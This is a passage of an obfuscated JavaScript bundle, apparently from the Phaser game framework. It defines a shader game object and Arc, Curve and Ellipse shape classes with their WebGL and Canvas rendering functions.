this['height'], _0x2bdcac = this['renderer'], _0x2da11b = this['program'], _0x1c1491 = this['viewMatrix']; if (!this['renderToTexture']) { var _0x170cc8 = -this['_displayOriginX'], _0x21208c = -this['_displayOriginY']; _0x1c1491[0x0] = _0x1e2031[0x0], _0x1c1491[0x1] = _0x1e2031[0x1], _0x1c1491[0x4] = _0x1e2031[0x2], _0x1c1491[0x5] = _0x1e2031[0x3], _0x1c1491[0x8] = _0x1e2031[0x4], _0x1c1491[0x9] = _0x1e2031[0x5], _0x1c1491[0xc] = _0x1c1491[0x0] * _0x170cc8 + _0x1c1491[0x4] * _0x21208c, _0x1c1491[0xd] = _0x1c1491[0x1] * _0x170cc8 + _0x1c1491[0x5] * _0x21208c; } _0x54b865['useProgram'](_0x2da11b['webGLProgram']), _0x54b865['uniformMatrix4fv'](_0x54b865['getUniformLocation'](_0x2da11b['webGLProgram'], 'uViewMatrix'), !0x1, _0x1c1491), _0x54b865['uniformMatrix4fv'](_0x54b865['getUniformLocation'](_0x2da11b['webGLProgram'], 'uProjectionMatrix'), !0x1, this['projectionMatrix']), _0x54b865['uniform2f'](_0x54b865['getUniformLocation'](_0x2da11b['webGLProgram'], 'uResolution'), this['width'], this['height']); var _0x1272b0 = this['uniforms'], _0x36bc56 = _0x1272b0['resolution']; _0x36bc56['value']['x'] = _0x5c6484, _0x36bc56['value']['y'] = _0x55defd, _0x1272b0['time']['value'] = _0x2bdcac['game']['loop']['getDuration'](); var _0x3d8d36 = this['pointer']; if (_0x3d8d36) { var _0x149c17 = _0x1272b0['mouse'], _0x49aabe = _0x3d8d36['x'] / _0x5c6484, _0x16ae92 = 0x1 - _0x3d8d36['y'] / _0x55defd; _0x149c17['value']['x'] = _0x49aabe['toFixed'](0x2), _0x149c17['value']['y'] = _0x16ae92['toFixed'](0x2); } this['syncUniforms'](); }, 'flush': function () { var _0x197e0f = this['width'], _0x2c33b8 = this['height'], _0x6253c4 = this['program'], _0x3d604c = this['gl'], _0x2203ac = this['vertexBuffer'], _0x5628de = this['renderer'], _0x1fca4b = 0x2 * Float32Array['BYTES_PER_ELEMENT']; this['renderToTexture'] && (_0x5628de['setFramebuffer'](this['framebuffer']), _0x3d604c['clearColor'](0x0, 0x0, 0x0, 0x0), _0x3d604c['clear'](_0x3d604c['COLOR_BUFFER_BIT'])), _0x3d604c['bindBuffer'](_0x3d604c['ARRAY_BUFFER'], _0x2203ac['webGLBuffer']); var _0x3a2a0b = _0x3d604c['getAttribLocation'](_0x6253c4['webGLProgram'], 'inPosition'); -0x1 !== _0x3a2a0b && (_0x3d604c['enableVertexAttribArray'](_0x3a2a0b), _0x3d604c['vertexAttribPointer'](_0x3a2a0b, 0x2, _0x3d604c['FLOAT'], !0x1, _0x1fca4b, 0x0)); var _0x4ec812 = this['vertexViewF32']; _0x4ec812[0x3] = _0x2c33b8, _0x4ec812[0x4] = _0x197e0f, _0x4ec812[0x5] = _0x2c33b8, _0x4ec812[0x8] = _0x197e0f, _0x4ec812[0x9] = _0x2c33b8, _0x4ec812[0xa] = _0x197e0f, _0x3d604c['bufferSubData'](_0x3d604c['ARRAY_BUFFER'], 0x0, this['bytes']['subarray'](0x0, 0x6 * _0x1fca4b)), _0x3d604c['drawArrays'](_0x3d604c['TRIANGLES'], 0x0, 0x6), this['renderToTexture'] && _0x5628de['setFramebuffer'](null, !0x1); }, 'setAlpha': function () { }, 'setBlendMode': function () { }, 'onContextRestored': function () { if (null !== this['_deferSetShader']) { var _0x644a3f = this['_deferSetShader']['key'], _0x5351f3 = this['_deferSetShader']['textures'], _0x37385a = this['_deferSetShader']['textureData']; this['_deferSetShader'] = null, this['setShader'](_0x644a3f, _0x5351f3, _0x37385a); } if (null !== this['_deferProjOrtho']) { var _0x2b9673 = this['_deferProjOrtho']['left'], _0x665dfa = this['_deferProjOrtho']['right'], _0x481df4 = this['_deferProjOrtho']['bottom'], _0x4ce0 = this['_deferProjOrtho']['top']; this['_deferProjOrtho'] = null, this['projOrtho'](_0x2b9673, _0x665dfa, _0x481df4, _0x4ce0); } }, 'preDestroy': function () { var _0x250b08 = this['renderer']; _0x250b08['off'](_0x1c6b8e['RESTORE_WEBGL'], this['onContextRestored'], this), _0x250b08['deleteProgram'](this['program']), _0x250b08['deleteBuffer'](this['vertexBuffer']), this['renderToTexture'] && (_0x250b08['deleteFramebuffer'](this['framebuffer']), this['texture']['destroy'](), this['framebuffer'] = null, this['glTexture'] = null, this['texture'] = null), _0x1a3084(this['uniforms'], function (_0x12f6bd) { _0x250b08['deleteUniformLocation'](_0x12f6bd['uniformLocation']), _0x12f6bd['uniformLocation'] = null; }); } }); _0x378014['exports'] = _0x334526; }, 0x13a50: _0x45a76d => { _0x45a76d['exports'] = function () { }; }, 0xd697: (_0x1f65d0, _0x4b3a10, _0x140f0f) => { var _0x1e6ad2 = _0x140f0f(0x62d9), _0x51dc23 = _0x140f0f(0xae3b), _0x3425da = _0x140f0f(0x5c10), _0x1b5a9c = _0x140f0f(0x4e67); _0x51dc23['register']('shader', function (_0x4856cc, _0x24b54c) { void 0x0 === _0x4856cc && (_0x4856cc = {}); var _0x26369c = _0x3425da(_0x4856cc, 'key', null), _0x3b6de0 = _0x3425da(_0x4856cc, 'x', 0x0), _0x54a82b = _0x3425da(_0x4856cc, 'y', 0x0), _0x428c92 = _0x3425da(_0x4856cc, 'width', 0x80), _0x300b9c = _0x3425da(_0x4856cc, 'height', 0x80), _0x1f2afa = new _0x1b5a9c(this['scene'], _0x26369c, _0x3b6de0, _0x54a82b, _0x428c92, _0x300b9c); return void 0x0 !== _0x24b54c && (_0x4856cc['add'] = _0x24b54c), _0x1e6ad2(this['scene'], _0x1f2afa, _0x4856cc), _0x1f2afa; }); }, 0x121c1: (_0x296846, _0x3a24b6, _0x5c1881) => { var _0x302b6f = _0x5c1881(0x4e67); _0x5c1881(0x9a05)['register']('shader', function (_0x187d6c, _0xaa2c6b, _0x28d362, _0x24a486, _0x15a163, _0x48a0db, _0x2f1405) { return this['displayList']['add'](new _0x302b6f(this['scene'], _0x187d6c, _0xaa2c6b, _0x28d362, _0x24a486, _0x15a163, _0x48a0db, _0x2f1405)); }); }, 0x6387: (_0x530cda, _0x4d436b, _0x1d111b) => { var _0x5464ab = _0x1d111b(0x7433), _0x456a8f = _0x5464ab, _0x48abe2 = _0x5464ab; _0x456a8f = _0x1d111b(0x4b39), _0x48abe2 = _0x1d111b(0x13a50), _0x530cda['exports'] = { 'renderWebGL': _0x456a8f, 'renderCanvas': _0x48abe2 }; }, 0x4b39: (_0x65cfdb, _0x578c0b, _0x57d660) => { var _0x4024f8 = _0x57d660(0x164a0); _0x65cfdb['exports'] = function (_0x256aee, _0x198ece, _0x2c32f2, _0x25dd2b) { if (_0x198ece['shader']) { if (_0x2c32f2['addToRenderList'](_0x198ece), _0x256aee['pipelines']['clear'](), _0x198ece['renderToTexture']) _0x198ece['load'](), _0x198ece['flush'](); else { var _0x46b1a5 = _0x4024f8(_0x198ece, _0x2c32f2, _0x25dd2b)['calc']; _0x256aee['width'] === _0x198ece['_rendererWidth'] && _0x256aee['height'] === _0x198ece['_rendererHeight'] || _0x198ece['projOrtho'](0x0, _0x256aee['width'], _0x256aee['height'], 0x0), _0x198ece['load'](_0x46b1a5['matrix']), _0x198ece['flush'](); } _0x256aee['pipelines']['rebind'](); } }; }, 0x28c9: (_0x339541, _0x445a22, _0x6ae89f) => { var _0x212813 = _0x6ae89f(0x1139a); _0x339541['exports'] = function (_0x3e7f06, _0x2d810e, _0x34ee9e, _0x30ef0a, _0x219ca5, _0x178823) { for (var _0x5775d1 = _0x212813['getTintAppendFloatAlpha'](_0x34ee9e['fillColor'], _0x34ee9e['fillAlpha'] * _0x30ef0a), _0x5969ac = _0x34ee9e['pathData'], _0x1b0a09 = _0x34ee9e['pathIndexes'], _0x1237f0 = 0x0; _0x1237f0 < _0x1b0a09['length']; _0x1237f0 += 0x3) { var _0x457fab = 0x2 * _0x1b0a09[_0x1237f0], _0x163521 = 0x2 * _0x1b0a09[_0x1237f0 + 0x1], _0x47ebc8 = 0x2 * _0x1b0a09[_0x1237f0 + 0x2], _0x5b5f2e = _0x5969ac[_0x457fab + 0x0] - _0x219ca5, _0x57d3c2 = _0x5969ac[_0x457fab + 0x1] - _0x178823, _0x18ce58 = _0x5969ac[_0x163521 + 0x0] - _0x219ca5, _0x22898a = _0x5969ac[_0x163521 + 0x1] - _0x178823, _0xf44aa5 = _0x5969ac[_0x47ebc8 + 0x0] - _0x219ca5, _0xbb0a0b = _0x5969ac[_0x47ebc8 + 0x1] - _0x178823, _0x450b52 = _0x2d810e['getX'](_0x5b5f2e, _0x57d3c2), _0x18e74b = _0x2d810e['getY'](_0x5b5f2e, _0x57d3c2), _0x20b932 = _0x2d810e['getX'](_0x18ce58, _0x22898a), _0x4dc4ff = _0x2d810e['getY'](_0x18ce58, _0x22898a), _0x7adbb4 = _0x2d810e['getX'](_0xf44aa5, _0xbb0a0b), _0x5b29ec = _0x2d810e['getY'](_0xf44aa5, _0xbb0a0b); _0x3e7f06['batchTri'](_0x34ee9e, _0x450b52, _0x18e74b, _0x20b932, _0x4dc4ff, _0x7adbb4, _0x5b29ec, 0x0, 0x0, 0x1, 0x1, _0x5775d1, _0x5775d1, _0x5775d1, 0x2); } }; }, 0x101a8: _0x549a1f => { _0x549a1f['exports'] = function (_0x462509, _0x516d56, _0x3c8013, _0x4613cb) { var _0x4d47ca = _0x3c8013 || _0x516d56['fillColor'], _0x164d14 = _0x4613cb || _0x516d56['fillAlpha'], _0x107f22 = (0xff0000 & _0x4d47ca) >>> 0x10, _0x174770 = (0xff00 & _0x4d47ca) >>> 0x8, _0xd6c51a = 0xff & _0x4d47ca; _0x462509['fillStyle'] = 'rgba(' + _0x107f22 + ',' + _0x174770 + ',' + _0xd6c51a + ',' + _0x164d14 + ')'; }; }, 0x125a9: _0x33625a => { _0x33625a['exports'] = function (_0x4953ea, _0x466fd8, _0x89d827, _0x1b1573) { var _0xe8c40f = _0x89d827 || _0x466fd8['strokeColor'], _0x1b60a2 = _0x1b1573 || _0x466fd8['strokeAlpha'], _0x5c8496 = (0xff0000 & _0xe8c40f) >>> 0x10, _0x3f3732 = (0xff00 & _0xe8c40f) >>> 0x8, _0x12cc62 = 0xff & _0xe8c40f; _0x4953ea['strokeStyle'] = 'rgba(' + _0x5c8496 + ',' + _0x3f3732 + ',' + _0x12cc62 + ',' + _0x1b60a2 + ')', _0x4953ea['lineWidth'] = _0x466fd8['lineWidth']; }; }, 0x458b: (_0x311668, _0x16568f, _0x10ddda) => { var _0x4a656b = _0x10ddda(0x145db), _0x4ae1a7 = _0x10ddda(0x7aa9), _0x108c94 = _0x10ddda(0x1759b), _0x564ede = _0x10ddda(0x59f7), _0x45cefa = new _0x4a656b({ 'Extends': _0x108c94, 'Mixins': [_0x4ae1a7['AlphaSingle'], _0x4ae1a7['BlendMode'], _0x4ae1a7['Depth'], _0x4ae1a7['GetBounds'], _0x4ae1a7['Mask'], _0x4ae1a7['Origin'], _0x4ae1a7['Pipeline'], _0x4ae1a7['PostPipeline'], _0x4ae1a7['ScrollFactor'], _0x4ae1a7['Transform'], _0x4ae1a7['Visible']], 'initialize': function (_0x3c8b89, _0x2095c5, _0x516259) { void 0x0 === _0x2095c5 && (_0x2095c5 = 'Shape'), _0x108c94['call'](this, _0x3c8b89, _0x2095c5), this['geom'] = _0x516259, this['pathData'] = [], this['pathIndexes'] = [], this['fillColor'] = 0xffffff, this['fillAlpha'] = 0x1, this['strokeColor'] = 0xffffff, this['strokeAlpha'] = 0x1, this['lineWidth'] = 0x1, this['isFilled'] = !0x1, this['isStroked'] = !0x1, this['closePath'] = !0x0, this['_tempLine'] = new _0x564ede(), this['width'] = 0x0, this['height'] = 0x0, this['initPipeline'](), this['initPostPipeline'](); }, 'setFillStyle': function (_0x8a7522, _0x54ba0d) { return void 0x0 === _0x54ba0d && (_0x54ba0d = 0x1), void 0x0 === _0x8a7522 ? this['isFilled'] = !0x1 : (this['fillColor'] = _0x8a7522, this['fillAlpha'] = _0x54ba0d, this['isFilled'] = !0x0), this; }, 'setStrokeStyle': function (_0x202167, _0x1e7f8f, _0x527604) { return void 0x0 === _0x527604 && (_0x527604 = 0x1), void 0x0 === _0x202167 ? this['isStroked'] = !0x1 : (this['lineWidth'] = _0x202167, this['strokeColor'] = _0x1e7f8f, this['strokeAlpha'] = _0x527604, this['isStroked'] = !0x0), this; }, 'setClosePath': function (_0x2dc6b5) { return this['closePath'] = _0x2dc6b5, this; }, 'setSize': function (_0x234025, _0xc1a925) { return this['width'] = _0x234025, this['height'] = _0xc1a925, this; }, 'setDisplaySize': function (_0xc51cd8, _0x1c4ebb) { return this['displayWidth'] = _0xc51cd8, this['displayHeight'] = _0x1c4ebb, this; }, 'preDestroy': function () { this['geom'] = null, this['_tempLine'] = null, this['pathData'] = [], this['pathIndexes'] = []; }, 'displayWidth': { 'get': function () { return this['scaleX'] * this['width']; }, 'set': function (_0x3e279d) { this['scaleX'] = _0x3e279d / this['width']; } }, 'displayHeight': { 'get': function () { return this['scaleY'] * this['height']; }, 'set': function (_0x14187d) { this['scaleY'] = _0x14187d / this['height']; } } }); _0x311668['exports'] = _0x45cefa; }, 0x877a: (_0x1f5e80, _0x578725, _0x39f054) => { var _0x3dbb9c = _0x39f054(0x1139a); _0x1f5e80['exports'] = function (_0x614deb, _0xd4f3b6, _0x213fd8, _0x289647, _0x390f78) { var _0x313761 = _0x614deb['strokeTint'], _0x48c906 = _0x3dbb9c['getTintAppendFloatAlpha'](_0xd4f3b6['strokeColor'], _0xd4f3b6['strokeAlpha'] * _0x213fd8); _0x313761['TL'] = _0x48c906, _0x313761['TR'] = _0x48c906, _0x313761['BL'] = _0x48c906, _0x313761['BR'] = _0x48c906; var _0x159e22 = _0xd4f3b6['pathData'], _0x1d884a = _0x159e22['length'] - 0x1, _0x37731b = _0xd4f3b6['lineWidth'], _0x25de9f = _0x37731b / 0x2, _0xe6aa05 = _0x159e22[0x0] - _0x289647, _0x5aad4b = _0x159e22[0x1] - _0x390f78; _0xd4f3b6['closePath'] || (_0x1d884a -= 0x2); for (var _0x525b3b = 0x2; _0x525b3b < _0x1d884a; _0x525b3b += 0x2) { var _0x160c77 = _0x159e22[_0x525b3b] - _0x289647, _0x3b1642 = _0x159e22[_0x525b3b + 0x1] - _0x390f78; _0x614deb['batchLine'](_0xe6aa05, _0x5aad4b, _0x160c77, _0x3b1642, _0x25de9f, _0x25de9f, _0x37731b, _0x525b3b - 0x2, !!_0xd4f3b6['closePath'] && _0x525b3b === _0x1d884a - 0x1), _0xe6aa05 = _0x160c77, _0x5aad4b = _0x3b1642; } }; }, 0x5c4d: (_0x32fac3, _0x781db3, _0x393050) => { var _0x15e85c = _0x393050(0x3529), _0x17d513 = _0x393050(0x145db), _0x4ca9a3 = _0x393050(0x9a52), _0x54abb1 = _0x393050(0x1725b), _0x57536c = _0x393050(0x178f7), _0x4c326c = _0x393050(0x8e1f), _0x508478 = _0x393050(0x458b), _0x19bb9f = new _0x17d513({ 'Extends': _0x508478, 'Mixins': [_0x15e85c], 'initialize': function (_0x3734dc, _0x2998a9, _0x2e8178, _0x4cabb8, _0x11a970, _0x413abf, _0x1a91bd, _0x2614e5, _0x508dbc) { void 0x0 === _0x2998a9 && (_0x2998a9 = 0x0), void 0x0 === _0x2e8178 && (_0x2e8178 = 0x0), void 0x0 === _0x4cabb8 && (_0x4cabb8 = 0x80), void 0x0 === _0x11a970 && (_0x11a970 = 0x0), void 0x0 === _0x413abf && (_0x413abf = 0x168), void 0x0 === _0x1a91bd && (_0x1a91bd = !0x1), _0x508478['call'](this, _0x3734dc, 'Arc', new _0x57536c(0x0, 0x0, _0x4cabb8)), this['_startAngle'] = _0x11a970, this['_endAngle'] = _0x413abf, this['_anticlockwise'] = _0x1a91bd, this['_iterations'] = 0.01, this['setPosition'](_0x2998a9, _0x2e8178); var _0x50e3ec = 0x2 * this['geom']['radius']; this['setSize'](_0x50e3ec, _0x50e3ec), void 0x0 !== _0x2614e5 && this['setFillStyle'](_0x2614e5, _0x508dbc), this['updateDisplayOrigin'](), this['updateData'](); }, 'iterations': { 'get': function () { return this['_iterations']; }, 'set': function (_0x4caa84) { this['_iterations'] = _0x4caa84, this['updateData'](); } }, 'radius': { 'get': function () { return this['geom']['radius']; }, 'set': function (_0x501c4b) { this['geom']['radius'] = _0x501c4b; var _0x42de93 = 0x2 * _0x501c4b; this['setSize'](_0x42de93, _0x42de93), this['updateDisplayOrigin'](), this['updateData'](); } }, 'startAngle': { 'get': function () { return this['_startAngle']; }, 'set': function (_0xe2ab97) { this['_startAngle'] = _0xe2ab97, this['updateData'](); } }, 'endAngle': { 'get': function () { return this['_endAngle']; }, 'set': function (_0x18dac4) { this['_endAngle'] = _0x18dac4, this['updateData'](); } }, 'anticlockwise': { 'get': function () { return this['_anticlockwise']; }, 'set': function (_0x2870d0) { this['_anticlockwise'] = _0x2870d0, this['updateData'](); } }, 'setRadius': function (_0x58cf5e) { return this['radius'] = _0x58cf5e, this; }, 'setIterations': function (_0x1afba5) { return void 0x0 === _0x1afba5 && (_0x1afba5 = 0.01), this['iterations'] = _0x1afba5, this; }, 'setStartAngle': function (_0x1ce6d9, _0x526dda) { return this['_startAngle'] = _0x1ce6d9, void 0x0 !== _0x526dda && (this['_anticlockwise'] = _0x526dda), this['updateData'](); }, 'setEndAngle': function (_0x34402b, _0x5e80cf) { return this['_endAngle'] = _0x34402b, void 0x0 !== _0x5e80cf && (this['_anticlockwise'] = _0x5e80cf), this['updateData'](); }, 'updateData': function () { var _0x106c75 = this['_iterations'], _0x98413e = _0x106c75, _0x1e3dca = this['geom']['radius'], _0x50d687 = _0x4ca9a3(this['_startAngle']), _0x23ee4c = _0x4ca9a3(this['_endAngle']), _0x4a45f2 = _0x1e3dca, _0x5d3777 = _0x1e3dca; _0x23ee4c -= _0x50d687, this['_anticlockwise'] ? _0x23ee4c < -_0x4c326c['PI2'] ? _0x23ee4c = -_0x4c326c['PI2'] : _0x23ee4c > 0x0 && (_0x23ee4c = -_0x4c326c['PI2'] + _0x23ee4c % _0x4c326c['PI2']) : _0x23ee4c > _0x4c326c['PI2'] ? _0x23ee4c = _0x4c326c['PI2'] : _0x23ee4c < 0x0 && (_0x23ee4c = _0x4c326c['PI2'] + _0x23ee4c % _0x4c326c['PI2']); for (var _0x578495, _0x49fa89 = [_0x4a45f2 + Math['cos'](_0x50d687) * _0x1e3dca, _0x5d3777 + Math['sin'](_0x50d687) * _0x1e3dca]; _0x98413e < 0x1;)_0x578495 = _0x23ee4c * _0x98413e + _0x50d687, _0x49fa89['push'](_0x4a45f2 + Math['cos'](_0x578495) * _0x1e3dca, _0x5d3777 + Math['sin'](_0x578495) * _0x1e3dca), _0x98413e += _0x106c75; return _0x578495 = _0x23ee4c + _0x50d687, _0x49fa89['push'](_0x4a45f2 + Math['cos'](_0x578495) * _0x1e3dca, _0x5d3777 + Math['sin'](_0x578495) * _0x1e3dca), _0x49fa89['push'](_0x4a45f2 + Math['cos'](_0x50d687) * _0x1e3dca, _0x5d3777 + Math['sin'](_0x50d687) * _0x1e3dca), this['pathIndexes'] = _0x54abb1(_0x49fa89), this['pathData'] = _0x49fa89, this; } }); _0x32fac3['exports'] = _0x19bb9f; }, 0xa62e: (_0x3848cc, _0x2521ca, _0x34be51) => { var _0x42eb9c = _0x34be51(0x9a52), _0xad6d77 = _0x34be51(0x101a8), _0x20b1b4 = _0x34be51(0x125a9), _0x4b6acd = _0x34be51(0x51be); _0x3848cc['exports'] = function (_0x55dee4, _0x3d6f89, _0x5dedc3, _0x2a8944) { _0x5dedc3['addToRenderList'](_0x3d6f89); var _0x3ef266 = _0x55dee4['currentContext']; if (_0x4b6acd(_0x55dee4, _0x3ef266, _0x3d6f89, _0x5dedc3, _0x2a8944)) { var _0x30f0bd = _0x3d6f89['radius']; _0x3ef266['beginPath'](), _0x3ef266['arc'](_0x30f0bd - _0x3d6f89['originX'] * (0x2 * _0x30f0bd), _0x30f0bd - _0x3d6f89['originY'] * (0x2 * _0x30f0bd), _0x30f0bd, _0x42eb9c(_0x3d6f89['_startAngle']), _0x42eb9c(_0x3d6f89['_endAngle']), _0x3d6f89['anticlockwise']), _0x3d6f89['closePath'] && _0x3ef266['closePath'](), _0x3d6f89['isFilled'] && (_0xad6d77(_0x3ef266, _0x3d6f89), _0x3ef266['fill']()), _0x3d6f89['isStroked'] && (_0x20b1b4(_0x3ef266, _0x3d6f89), _0x3ef266['stroke']()), _0x3ef266['restore'](); } }; }, 0xa643: (_0x2253bc, _0x592b90, _0x303546) => { var _0x39732a = _0x303546(0x5c4d), _0x2948a1 = _0x303546(0x9a05); _0x2948a1['register']('arc', function (_0x2da6c5, _0x33bfb7, _0x335097, _0x37ff71, _0x105b06, _0x3b6f7b, _0x1d2ee8, _0x1e7987) { return this['displayList']['add'](new _0x39732a(this['scene'], _0x2da6c5, _0x33bfb7, _0x335097, _0x37ff71, _0x105b06, _0x3b6f7b, _0x1d2ee8, _0x1e7987)); }), _0x2948a1['register']('circle', function (_0x5a2f19, _0x2cb970, _0x5e1b46, _0x4529aa, _0x4d8e1d) { return this['displayList']['add'](new _0x39732a(this['scene'], _0x5a2f19, _0x2cb970, _0x5e1b46, 0x0, 0x168, !0x1, _0x4529aa, _0x4d8e1d)); }); }, 0x3529: (_0x237a1a, _0x4c75b8, _0x5c7fe6) => { var _0x1d6e7a = _0x5c7fe6(0x7433), _0x1e2be7 = _0x1d6e7a, _0x40be63 = _0x1d6e7a; _0x1e2be7 = _0x5c7fe6(0xa1e7), _0x40be63 = _0x5c7fe6(0xa62e), _0x237a1a['exports'] = { 'renderWebGL': _0x1e2be7, 'renderCanvas': _0x40be63 }; }, 0xa1e7: (_0x254275, _0x1de25e, _0x3a98b6) => { var _0x190a83 = _0x3a98b6(0x164a0), _0x188b23 = _0x3a98b6(0x28c9), _0x7fd129 = _0x3a98b6(0x877a); _0x254275['exports'] = function (_0x5798ca, _0x326364, _0x4db95c, _0x9cd8bf) { _0x4db95c['addToRenderList'](_0x326364); var _0x1ddb61 = _0x5798ca['pipelines']['set'](_0x326364['pipeline']), _0xd7c45d = _0x190a83(_0x326364, _0x4db95c, _0x9cd8bf), _0x58a9cd = _0x1ddb61['calcMatrix']['copyFrom'](_0xd7c45d['calc']), _0x121b14 = _0x326364['_displayOriginX'], _0x2240c7 = _0x326364['_displayOriginY'], _0x53fe5b = _0x4db95c['alpha'] * _0x326364['alpha']; _0x5798ca['pipelines']['preBatch'](_0x326364), _0x326364['isFilled'] && _0x188b23(_0x1ddb61, _0x58a9cd, _0x326364, _0x53fe5b, _0x121b14, _0x2240c7), _0x326364['isStroked'] && _0x7fd129(_0x1ddb61, _0x326364, _0x53fe5b, _0x121b14, _0x2240c7), _0x5798ca['pipelines']['postBatch'](_0x326364); }; }, 0x59: (_0x476b2a, _0x23e914, _0x45fefb) => { var _0x396d39 = _0x45fefb(0x145db), _0x157668 = _0x45fefb(0x8175), _0x1b59cc = _0x45fefb(0x1725b), _0x5697b6 = _0x45fefb(0x15721), _0x1bdfb9 = _0x45fefb(0x458b), _0x302044 = new _0x396d39({ 'Extends': _0x1bdfb9, 'Mixins': [_0x157668], 'initialize': function (_0x36e218, _0x2f0892, _0x3f5cda, _0xf5e517, _0x2d7b7b, _0x4915c8) { void 0x0 === _0x2f0892 && (_0x2f0892 = 0x0), void 0x0 === _0x3f5cda && (_0x3f5cda = 0x0), _0x1bdfb9['call'](this, _0x36e218, 'Curve', _0xf5e517), this['_smoothness'] = 0x20, this['_curveBounds'] = new _0x5697b6(), this['closePath'] = !0x1, this['setPosition'](_0x2f0892, _0x3f5cda), void 0x0 !== _0x2d7b7b && this['setFillStyle'](_0x2d7b7b, _0x4915c8), this['updateData'](); }, 'smoothness': { 'get': function () { return this['_smoothness']; }, 'set': function (_0x2b5dba) { this['_smoothness'] = _0x2b5dba, this['updateData'](); } }, 'setSmoothness': function (_0x28d117) { return this['_smoothness'] = _0x28d117, this['updateData'](); }, 'updateData': function () { var _0x2b2701 = this['_curveBounds'], _0xb4a8c8 = this['_smoothness']; this['geom']['getBounds'](_0x2b2701, _0xb4a8c8), this['setSize'](_0x2b2701['width'], _0x2b2701['height']), this['updateDisplayOrigin'](); for (var _0x274c57 = [], _0x245c97 = this['geom']['getPoints'](_0xb4a8c8), _0x43a0bd = 0x0; _0x43a0bd < _0x245c97['length']; _0x43a0bd++)_0x274c57['push'](_0x245c97[_0x43a0bd]['x'], _0x245c97[_0x43a0bd]['y']); return _0x274c57['push'](_0x245c97[0x0]['x'], _0x245c97[0x0]['y']), this['pathIndexes'] = _0x1b59cc(_0x274c57), this['pathData'] = _0x274c57, this; } }); _0x476b2a['exports'] = _0x302044; }, 0xc62: (_0x93441e, _0x576823, _0x1795fb) => { var _0x36053b = _0x1795fb(0x101a8), _0x177c2c = _0x1795fb(0x125a9), _0x55b759 = _0x1795fb(0x51be); _0x93441e['exports'] = function (_0x49f876, _0x3deea3, _0x1e7141, _0x437861) { _0x1e7141['addToRenderList'](_0x3deea3); var _0x1b5377 = _0x49f876['currentContext']; if (_0x55b759(_0x49f876, _0x1b5377, _0x3deea3, _0x1e7141, _0x437861)) { var _0x328177 = _0x3deea3['_displayOriginX'] + _0x3deea3['_curveBounds']['x'], _0x204215 = _0x3deea3['_displayOriginY'] + _0x3deea3['_curveBounds']['y'], _0x478b83 = _0x3deea3['pathData'], _0x4b9924 = _0x478b83['length'] - 0x1, _0x28c7e8 = _0x478b83[0x0] - _0x328177, _0x769ea4 = _0x478b83[0x1] - _0x204215; _0x1b5377['beginPath'](), _0x1b5377['moveTo'](_0x28c7e8, _0x769ea4), _0x3deea3['closePath'] || (_0x4b9924 -= 0x2); for (var _0x4f959d = 0x2; _0x4f959d < _0x4b9924; _0x4f959d += 0x2) { var _0x27d3b9 = _0x478b83[_0x4f959d] - _0x328177, _0x39f585 = _0x478b83[_0x4f959d + 0x1] - _0x204215; _0x1b5377['lineTo'](_0x27d3b9, _0x39f585); } _0x3deea3['closePath'] && _0x1b5377['closePath'](), _0x3deea3['isFilled'] && (_0x36053b(_0x1b5377, _0x3deea3), _0x1b5377['fill']()), _0x3deea3['isStroked'] && (_0x177c2c(_0x1b5377, _0x3deea3), _0x1b5377['stroke']()), _0x1b5377['restore'](); } }; }, 0x9e3f: (_0x2fbfcc, _0x30238e, _0x5941a9) => { var _0x3a409b = _0x5941a9(0x9a05), _0x253f1b = _0x5941a9(0x59); _0x3a409b['register']('curve', function (_0x269036, _0x4313f8, _0x4278f3, _0x5ac7cd, _0x5e83f4) { return this['displayList']['add'](new _0x253f1b(this['scene'], _0x269036, _0x4313f8, _0x4278f3, _0x5ac7cd, _0x5e83f4)); }); }, 0x8175: (_0x4fe004, _0x3f0cf0, _0x201477) => { var _0x1a9d98 = _0x201477(0x7433), _0x35e425 = _0x1a9d98, _0xe13e4c = _0x1a9d98; _0x35e425 = _0x201477(0xd2e3), _0xe13e4c = _0x201477(0xc62), _0x4fe004['exports'] = { 'renderWebGL': _0x35e425, 'renderCanvas': _0xe13e4c }; }, 0xd2e3: (_0x20834b, _0x414e0f, _0x118f20) => { var _0x585e3c = _0x118f20(0x28c9), _0x42818f = _0x118f20(0x164a0), _0x12d908 = _0x118f20(0x877a); _0x20834b['exports'] = function (_0x5325d5, _0x2019f4, _0x164f9b, _0x133b59) { _0x164f9b['addToRenderList'](_0x2019f4); var _0x27d420 = _0x5325d5['pipelines']['set'](_0x2019f4['pipeline']), _0x337fe5 = _0x42818f(_0x2019f4, _0x164f9b, _0x133b59), _0xa6e30b = _0x27d420['calcMatrix']['copyFrom'](_0x337fe5['calc']), _0x251bfd = _0x2019f4['_displayOriginX'] + _0x2019f4['_curveBounds']['x'], _0x29c625 = _0x2019f4['_displayOriginY'] + _0x2019f4['_curveBounds']['y'], _0x3a1c85 = _0x164f9b['alpha'] * _0x2019f4['alpha']; _0x5325d5['pipelines']['preBatch'](_0x2019f4), _0x2019f4['isFilled'] && _0x585e3c(_0x27d420, _0xa6e30b, _0x2019f4, _0x3a1c85, _0x251bfd, _0x29c625), _0x2019f4['isStroked'] && _0x12d908(_0x27d420, _0x2019f4, _0x3a1c85, _0x251bfd, _0x29c625), _0x5325d5['pipelines']['postBatch'](_0x2019f4); }; }, 0x4dd1: (_0x493dc4, _0xff3dd1, _0x446f07) => { var _0x9a793c = _0x446f07(0x145db), _0x12af7f = _0x446f07(0x1725b), _0x2a86f9 = _0x446f07(0xd3bd), _0x54c783 = _0x446f07(0x2131), _0x188980 = _0x446f07(0x458b), _0x45bcea = new _0x9a793c({ 'Extends': _0x188980, 'Mixins': [_0x2a86f9], 'initialize': function (_0x4daa99, _0x5b1565, _0x3125f4, _0x39b435, _0x12f9fe, _0x583bfe, _0x198728) { void 0x0 === _0x5b1565 && (_0x5b1565 = 0x0), void 0x0 === _0x3125f4 && (_0x3125f4 = 0x0), void 0x0 === _0x39b435 && (_0x39b435 = 0x80), void 0x0 === _0x12f9fe && (_0x12f9fe = 0x80), _0x188980['call'](this, _0x4daa99, 'Ellipse', new _0x54c783(_0x39b435 / 0x2, _0x12f9fe / 0x2, _0x39b435, _0x12f9fe)), this['_smoothness'] = 0x40, this['setPosition'](_0x5b1565, _0x3125f4), this['width'] = _0x39b435, this['height'] = _0x12f9fe, void 0x0 !== _0x583bfe && this['setFillStyle'](_0x583bfe, _0x198728), this['updateDisplayOrigin'](), this['updateData'](); }, 'smoothness': { 'get': function () { return this['_smoothness']; }, 'set': function (_0x2d1986) { this['_smoothness'] = _0x2d1986, this['updateData'](); } }, 'setSize': function (_0x1e2d43, _0x2db251) { 